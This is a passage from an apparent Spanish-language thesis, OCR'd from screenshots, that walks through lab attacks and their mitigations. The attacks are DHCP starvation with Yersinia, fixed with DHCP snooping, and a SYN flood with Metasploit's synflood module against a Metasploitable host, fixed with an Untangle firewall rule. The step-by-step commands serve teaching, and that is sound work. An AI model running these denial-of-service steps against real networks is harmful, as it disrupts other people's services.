ion un

21373 Le

protocolos...
= L T
Ba® D X0 Qe > it ® 1
R [Apply a display filter ... <Ctr =3 ~| Expression.. +
No Time Source Destination Protocol  Length Info <
15.855178572 «c¢8:7b: :1a CDP/VTP/DTP/PAgP/.. CDP 96 Device ID: AAAAAAA Port ID: Ethernet@
15.855208344 08:51: 196 CDOP/VTP/DTP/PAgQP/.. CDP 96 Device ID: 22222EE Port ID: Ethernet@
15.855245341 53:ec :6a CDP/VTP/DTP/PAgP/.. CDP 96 Device ID: 0000000 Port ID: Ethernet®
15.855275417 3a:7e :e3 CDP/VTP/DTP/PAgQP/.. CDP 96 Device ID: RRRRRRR Port ID: Ethernet®
15.855314563 14:4a 118 CDP/VTP/DTP/PAgP/.. CDP 96 Device ID: HHHHHHH Port ID: Ethernet®
15. : CDP/VTP/DTP/PAQP/.. 96 Device : 4444444 : Ethernet@

k60 Who has 192.168.100.150? Tell 192.168.100.1€
60 Who has 192.168.100.9? Tell 192.168.100.163
78 Neighbor Advertisement fe80::1 (rtr, sol)

66 60222

148 34212
145 23822
145 52178

Pegatron_4e:7a:ea (38:6

+ 21373 Len=106
+ 21373 Len=103
+ 21373 Len=103

- 21373 [ACK] Seq=1 Ack=1 Win=59 Len=€

8 wNz.h. (..%..E.
=Bk
d.'.S}.j A.d1:ad2

.K]..H..

Packets: 163613 - Displayed: 163613 (100.0%)

Profile: Default

lustracion 8.37: “Captura de Mitigacion del Atague CDP- Denegacion de

Servicio”
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8.3 Desarrollo del Ataque y Mitigacion de DHCP — Hombre en el Medio

8.3.1 Para realizar este ataque es necesario utilizar la aplicacion Cisco Packet Tracer
que ayude a simular routers y switchs dentro de una red. Se ha realizado la

siguiente topologia para simular este tipo de ataque, cabe recalcar que se ha

utilizado subredes dentro de la red 192.168.100.0/24.

¥ Cisco Packet Tracer - Ff\Useﬁ\loe\Deskhop\Topologias Tesis\DHCP.pkL—l_ﬂ‘_@ﬂ

| Fle Edt Optons View Toos Extensons Help
C 0 o | F i

Logical Back [Root] New Cluster| prove Object||Set Tied Bockg'umdl Viewport ronment: 04:00:00)
s o - ’
z

oo/ P
PC-PT
Kali_Linux

Router-PT 2969'2‘
Routerd Switch1
=,
PC-PT

Windows 7

< e
Time: 00:00:57 “Pwer Cyde Dev-ces]b‘astForwa'd Tmel Realtime
5 e 060G A s,

/ o~ P ~ i ~—~n
-{,-/ ﬂg l-f? % 1 G 1G 1
2911 | B1910X) BIOHGW | 829 | 1240 (Generic Generic | 1841 262004 262004 L

194 2901
»

« "

ad I TE] oy

lustracion 8.38: “Diserio de red para realizar ataque DHCP - Denegacion de
Servicio”

8.3.2 Abrir una consola en el sistema operativo Kali Linux y digitar el comando “sudo

yersinia -G”

root@kaliCris: ~ (- IO ]

Archivo Editar Ver Buscar Terminal Ayuda

lustracion 8.39: “Desplegar el modo grafico de la herramienta Yersinia”
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8.3.3 Abrir una consola en el sistema operativo Kali Linux y digitar el comando “sudo
yersinia -G”

Yersinia 0.8.2
File Protocols Actions Options Help
-3 = ’ a O Yo
Launch attack| Edit interfaces Load default List attacks Clear stats Capture Edit mode Exit
Protocols Packets m | CDP | DHCP | 802.1G B0Z.1X DTP HSRP |ISL MPLS | STP VIP | Yersinia log
TIL DeviD Interface Count Last seen

Hll

Field Value Description

Cisco Discovery Protocol

Source MAC  |06:45:88:6B:41:56 Destination MAC @1:8@:8C:CC:CC:CC Extra|
L |

Version [81] TTL [p4] Checksum [eo00]

20:56:03

lustracion 8.40: “Modo grafico de la herramienta Yersinia”

8.3.4 Seleccionar la pestafia DHCP

Protocols Packets w | CDP DHCﬁ 802.1Q 8021X DTP HSRP ISL MPLS | STP VTP | Yersinia log
CDP 0 SIP DIP MessageType Interface Count Last seen

Dol o lisl ols

Field Value Description

Dynamic Host Configuration Protocol

Source MAC  |82:48:33:66:02:51 Destination MAC ~ |FF:FF:FF:FFIFF:FF IExtrai
siP [e.0.0.0 DIP [255.255.255.255| SPort [68 | DPort |67
Op 01 Htype 01 HLEN (a6 Hops 00|  Xid 90009869 Secs 0068 Flags 8060
c  |e.0.0.8 YI |p.6.0.8 sl |e.e.0.8 Gl |e.e.e.e |

CH £2:48:33:66:02:51|

llustracion 8..41: “DHCP en Yersinia”

8.3.5 Presionar “Launch Attack”
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File Protocols Actions Opti

L+ ] =
Launch attack Edit interfaces

i

Protocols Packets =

lustracion 8.42: “Cargar Ataque en DHCP Yersinia”

8.3.6 A continuacidn, se despliega las siguientes opciones y se selecciona “sending

DISCOVER packet”

CDP | DHCP 802.1Q 802.1X DTP HSRP ISL MPLS STP VIP
Choose attack

Description DoS
_ sending RAW packet
@ [sending DISCOVER packet
2 creating DHCP rogue server
' sending RELEASE packet

Cancel ‘ OK

lustracion 8.43: “Seleccionar tipo de Atague DHCP”

8.3.7 Se inicia el ataque llenando con direcciones MAC origen, como se puede

observar los DHCP se llenan rapidamente
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Protocols Packets

Field Value Description

CDP |[DHCP|| 802.1Q | 802.1X | DTP HSRP ISL MPLS STP VIP Yersinialog
SiP  DIP MessageType Interface Count Last seen

0.0.0.0 255.255.255.255 01 DISCOVER ethO 1 17 jun 16:50:14

0.0.0.0 255.255.255.255 01 DISCOVER eth0 1 17 jun 16:50:14
0.0.0.0 255.255.255.255 01 DISCOVER eth0 1 17 jun 16:50:14
0.0.0.0 255.255.255.255 01 DISCOVER eth0 1 17 jun 16:50:14
0.0.0.0 255.255.255.255 01 DISCOVER . eth0 1 17 jun 16:50:14
0.0.0.0 255.255.255.255 01 DISCOVER' eth0 1 17 jun 16:50:14
0.0.0.0° 255.255.255.255 01 DISCOVER eth0 1 17 jun 16:50:14
0.0.0.0 255.255.25§.255 01 DISCOVER eth0 1 17 jun 16:50:14
Dynamic Host Configuration Protocol

Source MAC  |62:48:33:66:02:51 Destination MAC ~ |FF:FF:FF:FF:FF:FF ‘Extra\

sP [6.0.0.0 DIP [255.255.255.255| SPot [68 DPort |67
op [e1] Htype [e1] HLEN [6] Hops e8| Xid oeee9863  Secs |oeee| Flags (8000
a [o.0.0.6 M [0.0.0.0 sl [6.0.0.0 6l [0.0.6.0 |

CH  |02:48:33:66:02:51

lustracidn 8.44: “Inundacién de direcciones MAC

Protocols Packets

Field Value Description

CDP DHCP | 802.1Q ' 802.1X DTP HSRP ISL MPLS ' STP VIP Yersinialog
SP DIP MessageType Interface Count Last seen

0.0.0.0 255.255.255.255 01 DISCOVER eth0 1 17 jun 16:50:19

0.0.0.0 255.255.255.255 01 DISCOVER eth0 17 jun 16:50:19
0.0.0.0 255.255.255.255 01 DISCOVER eth0 17 jun 16:50:19

0.0.0.0° 255.255.255.255 01 DISCOVER eth0 17 jun 16:50:19
0.0.0.0 255.255.255.255 01 DISCOVER eth0 17 jun 16:50:19

0.0.0.0 255.255.255.255 01 DISCOVER eth0 17 jun 16:50:19
0.0.0.0 255.255.255.255 01 DISCOVER' eth0 17jun 16:50:19
0.0.0.0 255.255.255.255 01 DISCOVER eth0 17 jun 16:50:19

ot 1 RS v pn s

Dynamic Host Configuration Protocol
Source MAC  [02:48:33:66:02:51|  Destination MAC | FF:FF:FF:FF:FF:FF |Extra
siP [e.0.0.0 DIP  [255.255.255.255| SPort [68 DPort |67

{Op 01| Htype |01] HLEN [66] Hops ao\ Xid |00009863| Secs |oeen Flags 8000
ICl 0.0.0.0 Yl 0.0.0.0 Sl |6.6.6.0 Gl [0.0.0.0

CH  [02:48:33:66:02:51

lHustracion 8.45: “Crecimiento de paquetes DHCP”

8.3.8 Para mitigar este tipo de ataque es necesario que el switch se configure en modo

“DHCP Snooping”.

8.3.9 Buscar maquinas para configurar su IP automatico a través del DHCP

=I
i
e

I-C'.'.l_L T |

Switch] [

PCFT
‘Wirdcwsy 7

lHustracion 8.46: “Maquinas a configurar su IP”
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8.3.10 Ir a las configuraciones de las maquinas antes mencionadas

W Kali_Linux

E % .

Physical | Config | Desktop

Attributes | Software/Services

lustracion 8.47: “Configuracion IP

8.3.11 Seleccionar DHCP y autométicamente establecerd una direccién IP automatico

dentro de la red.

[ oo~ —

Physical | Config | Desktop | Attributes | Software/Services |

1P Configuration
@ DHCP ) Static

1P Address 169.254.187.164

Subnet Mask 255.255.0.0

Default Gateway

DNS Server

IPv6 Configuration

) DHCP () Auto Config @ Static
IPvE Address

Link Local Address FEB0::20A:F3FF:FESE:BBA4

IPvE Gateway

IPv6 DNS Server

llustracién 8.48: “Establecer Direccion IP mediante DHCP
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8.3.12 Dentro del switch se digita los siguientes comandos en la consola del switch
“enable”, “configure t”, “ip dhcp snooping”, “ip dhcp snooping vian 1,
interface f0/1, “ip dhcp trust”, “interface dhcp f0/2”, “ip dhcp trust”.

| Physical I Config ‘ CLI ‘ Attributes |

105 Command Line Interface

Cisco I05 Software, CZ960 Software (CZ960-LANBRASE-M), Version 1Z_Z(25)F¥, RELEASE SOFTWARE (fcl) G
Copyright (o) 1986-2005 by Cisco Systems, Imc.
Compiled Wed 12-Oct—05 22:05 by pt_team

Press RETURN to get started!

% LINE-5-CHANGED: Interface FastEthermet0/1, changed state to up
SLINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/1, changed state to up
&LINE-5-CHRNCED: Interface FastEthernetl/Z, changed state to up
3LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/2, changed state to up
&LINE-5-CHRNCED: Interface FastEthernetl/3, changed state to up

SLINEFROTO-5-UPDOWN: Line protocol on Interface FastEthermet0/s/3, changed state to up

Switch»enable

Switchfconfigure t

Enter configuration commands, cne per line. End with CNTL/Z.
Switch{config)$ip dhcp snooping

Switchiconfig)$#ip dhcp snocoping vlan 1
Switchlconfig)finterface £0/1

Switch{config-if) #ip dhep trust

Switchi{config-if) §interface £0/2

Switch{config-if) #ip dhep trust

m,

Switchiconfig-if) gexit
Switch(config) #

lustracion 8.49: “Configuracion switch en modo DHCP Snooping”

8.3.13 Visualizar la mitigacion del ataque. Como se puede observar en la llustracion 7-

49, el ataque se ha detenido y empieza a circular de nuevo informacion sin

problemas.
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X *eth0
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

am bERB A+ v HFaaakE

[ ]dnep B0 -] Expression..  +

No Time Source Destination Protocol  Length Info =
9.805894076 0.0.0.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID @x643c9¢
9.805940398 0.0.0.0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID ©x643c9t
9.805997612 .0 255.255.255.255 DHCP 286 DHCP Discover - Transaction ID ©x643c9¢
DHCD 86 DHCE Discoue o ion ID GxA43cQ

806183181 DHCP 286 DHCP Transaction ID @x643c9%¢

48 ata
9.848459133 .100.14 1e4. TCP 60 16614 — 443 [ACK] Seq=1820 Ack=1240 Wir

.895428846
.895693446
9.989449491

TLSv1.2
TLSv1.2
TCP

724 Application
1203 Application
60 443 — 16614

.48.22 pi= [ACK] Seq=1240 Ack=3639 Wir

10.218919735 104.211.48.22 192.168.100.14 TLSv1.2 1294 Application Data

10.218932053 .100.14 104.211.48.22 TCP 60 16614 — 443 [ACK] Seq=3639 Ack=2480 Wir

10.221132270 :. fego::1 DNS 107 Standard query ©x9846 A puceeduec-my.sk

10.221329683 28 .. fesd::1 DNS 107 Standard query 8xcd74 AAAA puceeduec-my

10.314655083 Dell f2:89:86 Broadcast ARP 60 Who has 192.168.100.1? Tell 192.168.10¢

10.676200098 HuaweiTe_e2:95:25 Dell f2:89:86 ARP 60 192.168.100.1 is at 68:a8:28:e2:95:25

10.676227802 192.168.1600.14 192.168.1600.1 DNS 87 Standard query 0x9846 A puceeduec-my.sk =
4 em eennAnasa ieimaninc.nc neila Sann.ac e o ann acn ann alie e cocso.neseosncios

Frame 93199: 1203 bytes on wire (9624 bits), 1203 bytes captured (9624 bits) on interface B

Ethernet II, Src: Dell f2:89:86 (20:47:47:f2:89:86), Dst: HuaweiTe e2:95:25 (68:a8:28:e2:95:25)
Internet Protocel Version 4, Src: 192.168.100.14, Dst: 104.211.48.22

ry vy

Transmission Control Protocol,

Src Port: 16614,

Dst Port: 443, Seq:

2490, Ack: 1240,

Len:

1149

06060 68 a8 28 e2 95 25 20 47 47 f2 89 86 08 00 45 0O
0816 @4 a5 79 ee 40 00 80 @6 be c4 cO a8 64 Ge 68 d3

O 7 wireshark_eth0_20180715201519_sqAaXH

ho(..% 6 G.ounn E.
oY@ .. ....d.h.

Packets: 94017 - Displayed: 94017 (100.0%)

Profile: Default

lustracién 8.50: “Visualizacion de la Mitigacion del DHCP-Denegacion de

Servicios”

8.4 Desarrollo del Ataque y Mitigacién de Syn Flood

8.4.1 Realizar un escaneo de puerto con la aplicacion "Zenmap" hacia la subred

192.168.100.181 (Sistema Operativo Metasploitable), se usa la para detallar los

puertos vulnerables de la victima:

Zenmap [- I~}
Escaneo Herramientas Perfil Ayuda (H)
k-
Obijetivo: |192.168.100.l!31 [ v | Perfi: [Quick scan [ v | [Escaneo| [Cancelar|

Comando: |nmap -T4 -F 192.168.100.181

Servicios|  Salida Nmap | Puertos / Servidores | Topologfa Detalles del servidor | Escaneos

05 Servidor Puerto  Protocolo  Estado  Servicio Version
o 2 tep open ftp
Q 2 “tep open ssh
o 3 tcp open telnet
Q@ 5 ;t(p open smtp
@ 53 ‘tep open domain
80 tcp open http
@ 111 ‘tep open rpebind
9 139 ftcp open netbios-ssn
@ 415 it(p open microsoft-ds
@ 513 tcp open login
@ 514 ‘tep open shell
@ 2049 tcp open nfs
® 2121 tcp open ccproxy-ftp
@ 3306 tcp open mysql
@ 5432 it(p open postgresgl
© 5900 . tcp open vne
@ 6000 itcp open X11
[ e——— R @ 8009 :tcp open ajpl3

llustracion 8.51: “Escaneo de puerto Zenmap
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8.4.2 En el sistema operativo Kali Linux, abrir un terminal “Metasploit”

Terminal
Archivo Editar Ver Buscar Terminal Ayuda
)it Park, System Security Interface
4.0.5, Alpha E

> access security

access: PERMISSION DENIED.

> access security grid

access: PERMISSION DENIED.

> access main security grid

access: PERMISSION DENIED....and...

=[ m i 1 ,
--=[ 1749 exploits - 10082 auxiliary - 302
--=[ 536 payloads - 40 encoders - 10 nops
--=| Free Metasploit Pro trial: http://r-7.

lustracion 8.52: “Terminal Metasploit de Kali Linux”
8.4.3 Se digita el comando “Search telnet” de esta manera buscamos el tipo de

vulnerabilidades para este puerto:

:[ 1€ 11 1 € ]
+ -- --=[ 1749 exploits - 1002 auxiliary - 302 post ]
+ -- --=[ 536 payloads - 40 encoders - 10 nops 1
+ -- --=| Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > search telnetfj

lustracion 8.53: “Buscar Tipo de Vulnerabilidades Telnet”

8.4.4 Se lista todas las vulnerabilidades, tomando en cuenta que para este tipo de
ataque utilizamos  “use  auxiliary/dos/tcp/synflood”,  adicionalmente

mostramos las opciones con el comando “show options”:
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Terminal e @ 0
Archivo Editar Ver Buscar Terminali Ayuda
=[ met t v4 1 f
-=[ 1749 exploits - 1002 auxiliary - 302 post
-- --=[ 536 payloads - 40 encoders - 10 nops
-- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp

m use auxiliary/dos/tcp/synflood

wa >
msf auxiliary( ) > show options

odule options (auxiliary/dos/tcp/synflood):
Name Current Setting Required Description

INTERFACE no The name of the interface
NUM no Number of SYNs to send (else unlimited)
RHOST ves The taraet address
RPORT yes The target port
no The spoofable source address (else rand

SNAPLEN 65535 yes The number of bytes to capture

SPORT no The source port (else randomizes)

TIMEOUT 500 s The number of seconds to wait for new d
ata

st auxiliary(

lustracion 8.54: “Buscar Tipo de Vulnerabilidades Telnet”

8.4.5 Una vez establecido este paso, es necesario establecer la victima, como
podemos observar la Figura... se encuentra vacio la direccion del objetivo:

Terminal @ ® 0
Archivo Editar Ver Buscar Terminal Ayuda
=[ met t v4 ¢ ]
+ -- --=[ 1749 exploits - 1002 auxiliary - 302 post ]
-- =[ 536 payloads - 40 encoders - 10 nops ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf > use auxiliary/dos/tcp/synflood
msf auxiliary( ) > show options

Module options (auxiliary/dos/tcp/synflood):
Name Current Setting Required Description

INTERFACE no The name of the interface

NUM no Number of SYNs to send (else unlimited)

RPORT 80 yes The target port j

SHOST no The spoofable source address (else rand
omizes)

SNAPLEN 65535 yes The number of bytes to capture

SPORT no The source port (else randomizes)

TIMEOUT 500 e The number of seconds to wait for new d
ata

msf auxiliary( ) > i

llustracion 8.55: “Direccion Victima Vacio ”
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8.4.6 Una vez establecido este paso, se establece la victima, se usa el comando “set
RHOST (Direccion IP), y mostramos las opciones para revisar que la direccion

se encuentre correctamente con el comando “show options”

msf auxiliary( ) > |set RHOST 192.168.100.181
RHOST => 192.168.160.169
msf auxiliary( ) > show options

Module options (auxiliary/dos/tcp/synflood):

Name Current Setting Required Descriptior

INTERFACE The name of the interface

NUM Number of SYNs to send (else unlimited)

RHOST 192.168.100.181 The target address

RPORT 80 The target port

SHOST The spoofable source address (else rand
omizes)

SNAPLEN 65535 The number of bytes to capture

SPORT The source port (else randomizes)

TIMEOUT 500 The number of seconds to wait for new d
ata

llustracidn 8.56: “Direccion Victima Establecida ”

8.4.7 Ejecutar el comando “run”y el ataque comenzara

msf auxiliary( ) > run

SYN flooding 192.168.100.181:80...

lustracion 8.57: “Inicio del Ataque Syn Flood — Denegacion de
Servicios ”

8.4.8 Para visualizar el ataque, capturamos el trafico que atraviesa por la red; como

observamos la victima se empez6 a consumir rapidamente sus recursos

desembocando en denegaciones de servicios, sin conexion a internet e incluso

el equipo era muy lento.
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o *eth0 (- <)
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

A4 = © D RE QA «» = =@ aaqfE

|n|A|Jplya display filter ... <Ctrl-/> d 'I Expression.. +

No Time Source Destination Protocol  Length Info =
2.019428155 43.236.140.244 192.168.100.181 TCP 54 43914 —~ 80 [SYN] Seq=0 Win=1849 — |
2.020094085 43.236.140.244 192.168.100.181 TCP 54 25377 — 80 [SYN] Seq=0 Win=156 L
2.020510131 43.236.140.244 192.168.100.181 TCP 54 56505 —~ 80 [SYN] Seq=0 Win=2222 ——
2.021143665 43.236.140.244 192.168.100.181 TCP 54 2538 —~ 80 [SYN] Seq=@ Win=2163 L
2.021835112 43.236.140.244 192.168.100.181 TCP 54 28012 —~ 8@ [SYN] Seq=0 Win=2500 ——
2.022296948 43.236.140.244 192.168.100.181 TCP 54 51672 — 80 [SYN] Seq=0 Win=2786 —
2.822775136 43.236.140.244 192.168.100.181 TCP 54 5981 —~ 80 [SYN] Seq=0 Win=3286 L——
2.027706453 o . . . o 54 59751 — 80 [SYN] Seq=0 Win=3725
2.028305811 43.236.140.244 192.168.100.181 TCP 54 8228 — 80 [SYN] Seq=0 Win=3772 L -

< »

-

Frame 2445: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface ©
Ethernet II, Src: PcsCompu_@f:f3:04 (©8:00:27:0f:f3:04), Dst: PcsCompu_17:b4:1d (08:00:27:17:b4:1d)
» Destination: PcsCompu_17:b4:1d (08:00:27:17:b4:1d)
» Source: PcsCompu_0f:f3:84 (08:00:27:8f:f3:04)
Type: IPv4 (Bx0880)
Internet Protocol Version 4, Src: 43.236.140.244, Dst: 192.168.100.181
Transmission Control Protocol, Src Port: 59751, Dst Port: 88, Seq: 0, Len: @

4

- -

08 00 27 17 b4 1d 08 80 27 of f3 04 08 00 45 00 claii Teeaan E. e
08 28 ff c¢c3 00 00 f7 @6 e5 cd 2b ec B8c f4 c® a8 Y (P e
O 7 wireshark_eth0_20180721151946_aSNvHd +a(kets: 7932 - Displayed: 7932 (100.0%)  Profile: Default I

lustracién 8.58: “Inicio del Ataque Syn Flood — Denegacién de Servicios ”
8.4.9 Para mitigar este tipo de ataque se realiza la instalacion de una pasarela de red
la cual permita bloquear el trafico por el puerto 80 y solo permitir trafico de

direcciones confiables.

8.4.10 Descarga Untagle de su pagina oficial debido a que es recomendado trabajar
en su ultima versién, para este tipo de mitigacion se usara 14.0.0

(https://www.untangle.com/get-untangle/)

{3 Get Untangle | Untangle X

¢« cle ttps.//wanwuntangle.com

Your Network. Your Rules.™ +1(966)213:229 Support MyCart(0) MyAccount ~Signin

T,
Vi

untongle' NGFIREWALL ~ CLOUD  SOLUTIONS  RESOURCES  PARTNERS

[ Choose image format: Download file:

) 150 €D Image) NG Firewall needs a dedicated server to run on. We recommend at least a
Pentium 4 Processor (or a similar AMD processor), 80 GB hard drive, 2
network cards, and 1 GB of memory. See additional hardware details. The
OVA (VMware Appliance) @ PC does not need an operating system; NG Firewall installs its own

IMG (US8 Image)

Oninstallation, the NG Firewall completely erases any

T —— content or data that may exist on that server’s hard drive.

Version:14.0.0
Size: -GTOME.

llustracion 8.59: “Descarga de Untangle”
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8.4.11 Utilizar una maquina virtual Oracle VM VirtualBox e instalar Untangle,

cuando el proceso de instalacion finalice; desplegara lo siguiente:

_";. [ Setup Wizard x -m Asistente de config X .. [ 4
< C @ localhost/setup/index.d

BUY LIFETIME LICENSE AT WWW.MIRILLIS.COM

Terminado

El Untangle Server esta configurado ahora.
Ahora esta listo para configurar las aplicaciones.

lustracion 8.60: “Finalizacion de la Instalacion de Untangle”

8.4.12 Crear una cuenta Untagle, caso contario logearse para su ingreso

Crea una cuenta

CONTACT INFORMATION
Nombre de pila * Apellido *
Cristina Tufifio
Nombre de la compafiia Direccién de correo electrénico *
PUCE nehidetufino@hotmail com
LOGIN INFORMATION

0 Contrasefia * Confirmar contrasefia *

llustracion 8.61: “Creacion de Cuenta Untangle”
8.4.13 Verificar que la tarjeta de red se encuentre activa, dirigirse a la pestafia

Interfaces

T ey =
‘f [ setup wizard % ¢ [@ Untangle - untangle % b ; 1 7 | ] 1
€ C [ locahosuwebuistanrage o ? o

L

untangle  DASHEOARD

Configuracién » Red x
Interfaces Nombre de host Servicios Puerto Reglas Adelante Reglas NAT Reglas de derivacion Rutas Servidor DNS Servidor DH +

Configuracién de la Interfaz

Utilice esta pagina para configurar la configuracion de cada interfaz y su asignacion a una tarjeta de red fisica.

Interfaces

id Nombre Conectads Apa.. Vel Config Direccion act tual es Borrar | Esta._  Editar
1 External conectado @ etho 1000  Dirigido 192.168.100.188/24 true @
2 Interface Beta conectado @ cthl 1000  (irigido 192.168.100.0/24 false e

lustracion 8.62: “Verificacion de Tarjeta de Red”
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8.4.14 Afadir una regla, la cual indique que todo el trafico de la direccion

192.168.100.181 tiene que bloquearse

Configuracién » Red
Puerto Reglas Adelante
Editar x
Enable Port Forward Regla:  [¥]
Destripcidn: Bloguear Ataque Syn Flood ->192.168.100.181
Sitodas las condiciones siguientes:
+ ] Afiadir
Escribe Valor
Destinado Local > |es ~ | Cierto Borrar
Protocolo > |es ~ | [¥]TCF  FJUDP [JICMP [JGRE [JESP [JAH [O]SCTP Borrar
Direccién de destino ¥ |es ~|/192168.100.181 Borrar
1A 13 ”»”
lustracion 8.63: “Bloqueo del Puerto 80
~ - - . . . .,
8.4.15 Afadir una regla, que indique que el trafico de la direccion 192.168.100.181
deba bloquearse
Interfaces Nombre de host | Servicios Puerto Reglas Adelante Reglas NAT | Reglas de derivacién Rutas | Servidor DNS Servidor DH| #+

Puerto Reglas Adelante

Port Forward gobierna sesiones a plazo que coincidan con los criterios configurados desde una IP publica a una IP en una red interna (NAT d). Las
reglas se evalUan en orden.

Puerte Reglas Adelante

@ Anadir & Importacion & Exportacion

Regl.. Habil. Descripcion MNuevo destino Puerto ... Soluciénde ... Reor... Editar Borrar
r r

nUEva J] Bloguear Atague Syn Flood -»192.168.100.181 192.168.100.181 80 E & x

lustracion 8.64: “Bloqueo del Puerto 80”

8.4.16 Realizamos nuevamente un escaneo con la herramienta “Zenmap” de la
direccion IP 192.168.100.181 (maquina victima) y podemos verificar que el

puerto 80 se encuentra filtrado
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objetivo: ! 192.168.100.181 BUY LIFETIME LICENSE AT WWW.WIRILLIS .COM v [ig(aneo Cancelar [

Comando: |nmap -T4 -F 192.168.100.181 | \

i Servicios|  SalidaNmap  Puertos / Servidores Topologfa Detalles del servidor Escaneos
OS |Servidor nmap -T4 -F 192.168.100.181 & Detallesl

A

4y, 192.168.100.1

Nmap scan report for 192.168.100.181
Host is up (0.0045s latency).
Not shown: 82 closed ports

PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp

cp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
513/tcp open login
514/tcp open shell
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
8009/tcp open ajpl3
MAC Address: 08:00:27:17:B4:1D (Oracle VirtualBox virtual
NIC)

<IN - Nmap done: 1 IP address (1 host up) scanned in 1.44 seconds
Filtrar servidores | i

lustracion 8.65: “Verificacion del Puerto 80 con Zenmap”

8.4.17 Después de realizar estos pasos, para comprobar que el firewall se encuentre
configurado de acuerdo a lo necesitado, se va a permitir el trafico de una a

una determinada direccion IP (Realizar los pasos 7.4.1 hasta 7.4.8)

<« C | @ localhostywebui/startPage dc ? o
CRATY
untangle
Configuracién » Red >
Interfaces Nombre de host Servicios Puerto Reglas Adelante Reglas NAT Reglas de derivacién Rutas Servidor DNS Servidor DH 4
Editar ®

Enable Port Forward Regla. 7]

Descripcién Pemitir trafice solo de la direccion 192.168.100.16€

Si todas las condiciones siguientes:

© Adiadir

Escribe Valor

Destinado Local > |es v | Cierto Borrar
Protocolo > |es v | [W]TCP  [FIUDP [JICMP [JGRE [JESP [CJAH [JSCTP Borrar
Direccién de destino 2| (es ~|/192.168.100.166 Borrar

llustracion 8.66: “Configuracion para permitir el trafico de una determinada

direccion IP”
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8.4.18 Se utiliza la herramienta Wireshark, realizando un filtrado de la direccion IP
192.168.100.163, como podemos se ha estabilizado el sistema, incluso tomar

en cuenta el nimero de paquetes es minimo.

|I ‘Apply a display filter ... <Cirl-/> E3 ~| Expression..  +
No Time Source Destination Protocol Length Info =
1.348228203 192.168.100.188 192.168.100.1 DNS 84 Standard query 8x2cfG A scl9.rules.
1.421630951 80.85.85.58 192.168.100.188 TCP 66 80 —~ 8538 [ACK] Seq=585 Ack=117 Win
1.459157229 192.168.100.1 192.168.100.188 DNS 288 Standard query response 0x2cfé A sc
1.460329959 192.168.100.188 192.168.100.1 DNS B84 Standard query 8x46¢9 A sc2l.rules.
1.602871022 192.168.100.1 192.168.100.188 DNS 1ee Standard query response 0x46c9 A sc
r 1.612666162 feB0::78e5:83ab:631d:3404 ffo2::c SSDP 208 M-SEARCH * HTTP/1.1
1 3.296770611 152.168.100.188 201.159.221.11 NTP 98 NTP Version 4, client
| 3.312972242 192.168.100.188 NTP 90 NTP Version 4, server
I 4.613279864 lic M-SEARCH * HTTP/1.1
; 5.085498025 .168.100.0 239.255.255.250 SSDP 420 NOTIFY * HTTP/1.1
5.885547242 .168.100.0 239.255.255.250 SSDP 492 NOTIFY * HTTP/1.1
5.886414669 .168.100.0 239.255.255.250 SSDP 429 NOTIFY * HTTP/1.1
5.086440247 .168.100.0 239.255.255.250 SSDP 488 NOTIFY * HTTP/1.1
5.0886804601 .168.100.0 239.255.255.258 SSDP 429 NOTIFY * HTTP/1.1
5.886825748 .168.100.0 239.255.255.250 SSDP 468 NOTIFY * HTTP/1.1
5.086830763 .168.100.0 239.255.255.258 SSDP 429 NOTIFY * HTTP/1.1
C AnSnMAncA 4co ann A AAN ACE ACE ACAH conn CAN MATTrW & UITTR /4 4 b

-

Frame 42: 208 bytes on wire (1664 bits), 208 bytes captured (1664 bits) on interface @
Ethernet II, Src: Pegatron_d4e:7a:ea (38:60:77:4e:7a:ea), Dst: IPv6mcast_Oc (33:33:00:00:00:
» Destination: IPv6mcast_©c (33:33:00:00:00:08c)
b Source: Pegatron_de:7a:ea (38:608:77:4e:7a:ea)
Type: IPv6 (©x86dd)
Internet Protocol Version 6, Src: fe8@::78e5:83ab:631d:3404, Dst: ffe2::c
» User Datagram Protocol, Src Port: 56553, Dst Port: 1986
» Simple Service Discovery Protocol

4

-

[ 33 33 00 00 00 Oc 38 60 77 de 7a ea 86 dd 60 B0 33....
G010 00 00 00 9a 11 01 fe B0 00 00 PO BR B0 6B 78 e5  ........
G626 83 ab 63 1d 34 04 ff B2 @0 00 B0 BR PR 6 B0 86 [ -

O ¥ eth0: <live capture in progress> |Packets: 91 - Displayed: 91 (100.0%) Profile: Default |

lustracion 8.67: “Configuracion para permitir el trdfico de una determinada

direccion IP”
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8.5 Desarrollo del Ataque y Mitigacion de Sesiones, contrasefias y aplicaciones

8.5.1 Para realizar este tipo de ataque se debe levantar los servicios de PostgreSQL
mediante el uso de consola (Kali Linux) y dos lineas de codigo:
e service postgresql start (inicia el servicio para PostgreSQL)

e service postgresql status (verifica que el servicio se encuentre activo)

root@kaliCris: ~ e 0

Archivo Editar Ver Buscar Terminal Ayuda

:~# service postgresql start
:~# service postgresqgl status
® postgresql.service - PostgreSQL RDBMS
Loaded: loaded (/lib/systemd/system/postgresql.service; disabled; vendor pres
Active: active (exited) since Sat 2018-06-16 19:04:15 -05; 37min ago

Process: 2590 ExecStart=/bin/true (code=exited, status=0/SUCCESS)
Main PID: 2590 (code=exited, status=0/SUCCESS)

jun 16 19:04:14 kaliCris systemd[1]: Starting PostgreSQL RDBMS...
jun 16 19:04:15 kaliCris systemd[1]: Started PostgreSQL RDBMS.

llustracion 8.68: “Levantamiento de servicios PostgreSQL ”

8.5.2 Levantar los servicios “Apache”, mediante el uso de la consola (Kali Linux)

y dos lineas de cadigo:

e service apache2 start (inicia el servicio Apache)

e service apach?2 status (verifica que el servicio se encuentre activo)

root@kaliCris: ~ e ® 0
Archivo Editar Ver Buscar Terminal Ayuda

:~# service apache2 start
:~# service apache2 status
apache2.service - The Apache HTTP Server
